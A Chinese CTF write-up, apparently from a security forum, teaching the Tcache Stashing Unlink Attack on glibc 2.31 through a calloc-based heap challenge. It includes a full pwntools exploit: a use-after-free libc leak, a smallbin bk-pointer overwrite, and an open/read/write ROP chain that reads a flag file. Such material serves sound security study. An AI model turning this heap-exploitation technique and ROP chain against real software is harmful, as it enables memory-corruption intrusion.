堆学习之Tcache Stashing Unlink Attacke
juancake 发表于 山东 二进制安全 167浏览 · 2024-11-28 13:45

通过蜀道山的一道堆题来学习一下Tcache Stashing Unlink Attacke。
Tcache Stashing Unlink Attacke虽然有Unlink,但是感觉和unlink的利用方法有很大不同,唯一相似的地方可能就是脱链绕过检查。

标签:libc2.31 uaf calloc Tcache Stashing Unlink Attacke

保护:

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'/home/gsnb/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64'

程序:

菜单题,但是这里看到了choice5

是read读入到栈上,大小是nbytes(bss段)里面存的值

同时这题开了沙箱,那大体思路就有了,改nbytes(bss段)里面为一个大的数足够溢出,写orw

add不能申请largebin,并且是调用calloc申请chunk,并且add完给了chunk地址

free uaf

Tcache Stashing Unlink Attacke 条件

当我们从small bin拿出来chunk的时候,程序会检查当前small bin链上是否还有剩余堆块,如果有的话并且tcache bin的链上还有空余位置(前提是不能为空,不然即使有空余也不行),就会把剩下的堆块链进tcachebin里面,但是链进去的时候没有进行链表的检查,所以我们可以在这个时候攻击这个即将链进tcachebin的堆块的bk指针,就可以达到任意地址写一个main_arena的效果。

当然你会发现一个奇怪的事情,明明tcachebin里面不是空的,那不应该先从tcachebin里面取出堆块吗,为什么会直接从smallbin里面取呢

那就涉及到了这个攻击手法的核心,calloc函数,这个函数最初只是方便同时创建多个大小相同的堆块,但是它在取出堆块的时候,会越过tcachebin,所以想用Tcache Stashing Unlink Attack一定至少可以用一次calloc

1、tcachebin非满

2、smallbin上有chunk

3、calloc

4、可以修改堆块的bk

but

这个题只有calloc,那么申请chunk的时候会忽略tcachebin,怎么造成tcachebin非满且smallbin上有chunk的状态呢?

’‘unsortedbin分割机制’‘

条件1、2

for i in range(7):
    add(0x300)
   # edit(i,'./flag\x00\x00')
    delete(i)

for i in range(7,13): #6个
    add(0xf0)
    delete(i)
add(0x300)#13
add(0x300)#14
edit(14,'./flag\x00\x00')
delete(13)
show(13)
#p.recvuntil(b'\n')
#libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))

由于是calloc,所以再次申请chunk并不会从tcache中拿。

把要open的flag文件写到chunk_14内,然后利用chunk_13泄露libc_base

add(0x200)#15分割unsort
add(0x300)#16   chunk_15进smallbin

把unsortedbin中的chunk_13分割出0x200,留下0x100在unsortedbin中,再add一个比0x100大的chunk使剩下的0x100并入smallbin中。

ru('Ptr: ')
addr = int(rc(9),16)-0x2a0-0x2190-0x11e0 #chunk_start  ( 0x291 tcache_guanli )
success('addr:'+hex(addr))
add(0x300)#17  geduan
delete(16)  
add(0x200)#18  实际上0x200是16  0x100shi18
add(0x300)#19

接收chunk_addr ,再来一遍。目前smallbin里两个0x100的chunk

Tcache Stashing Unlink Attacke

edit(16,b'\x00'*0x208+p64(0x101)+p64(addr+0x31f0)+p64(0x4040C0-0x4-0x10))  #0x4081f0 smallbin_chunk1  edit溢出?? 还是切割了还能写  ? 实际上就是改了bk位?
add(0xf0)#20

修改chunk18(第一个smallbin_chunk)的bk位为nbytes(bss段)

再使chunk18脱链

结果就是nbytes(bss段)被写入了main_arena(再稍微改一下偏移,就是一个较大的数)

脱链前:

脱链后:

smallbin中剩下的那个0x100的chunk会被并入tcachebin中

流程图

orw

bss = addr+0x3300   #chunk_14   0x408300 ◂— 0x67616c662f2e /* './flag' */
sla(b'Your choice:',b'5')
sd(b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(1)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(write))
p.interactive()

exp

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 0

if flag:
    p = remote('',)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
    gdb.attach(p,'b *0x401711')
    pause()

def add(size):
    sla(b'Your choice:',b'1')
    sa(b'size:\n',str(size).encode())

def delete(index):
    sla(b'Your choice:',b'2')
    sla(b'Idx:\n',str(index).encode())

def show(index):
    sla(b'Your choice:',b'4')
    sla(b'Idx:\n',str(index).encode())

def edit(index,content):
    sla(b'Your choice:',b'3')
    sla(b'Idx:\n',str(index).encode())
    sa(b'Content:\n',content)


#dbg()
for i in range(7):
    add(0x300)
   # edit(i,'./flag\x00\x00')
    delete(i)

for i in range(7,13):
    add(0xf0)
    delete(i)

#dbg()
add(0x300)#13
add(0x300)#14
edit(14,'./flag\x00\x00')
delete(13)
show(13)
#p.recvuntil(b'\n')
#libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10-96-libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))

openn =  libc_base+libc.sym['open']
read =  libc_base+libc.sym['read']
write =  libc_base+libc.sym['write']
rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
rdx = libc_base + 0x0000000000119431 #0x0000000000119431 : pop rdx ; pop r12 ; ret



#add(0x200)#15分割unsort
add(0x400)#16   chunk_15进smallbin


ru('Ptr: ')
addr = int(rc(9),16)-0x2a0-0x2190-0x11e0 #chunk_start  ( 0x291 tcache_管理 )
success('addr:'+hex(addr))
add(0x300)#17  geduan
delete(16)  
add(0x200)#18  实际上0x200是16  0x100是18
add(0x300)#19
bss = addr+0x3300   #chunk_14   0x408300 ◂— 0x67616c662f2e /* './flag' */

edit(16,b'\x00'*0x208+p64(0x101)+p64(addr+0x31f0)+p64(0x4040C0-0x4-0x10))  #0x4081f0 smallbin_chunk1   还是切割了还能写   实际上就是改了bk位
add(0xf0)#20



sla(b'Your choice:',b'5')
addr = 0x40167A
#dbg()
sleep(1)
sd(b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(1)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x100)+p64(rdx)+p64(0x50)+p64(0)+p64(write))
p.interactive()
0 条评论
某人
表情
可输入 255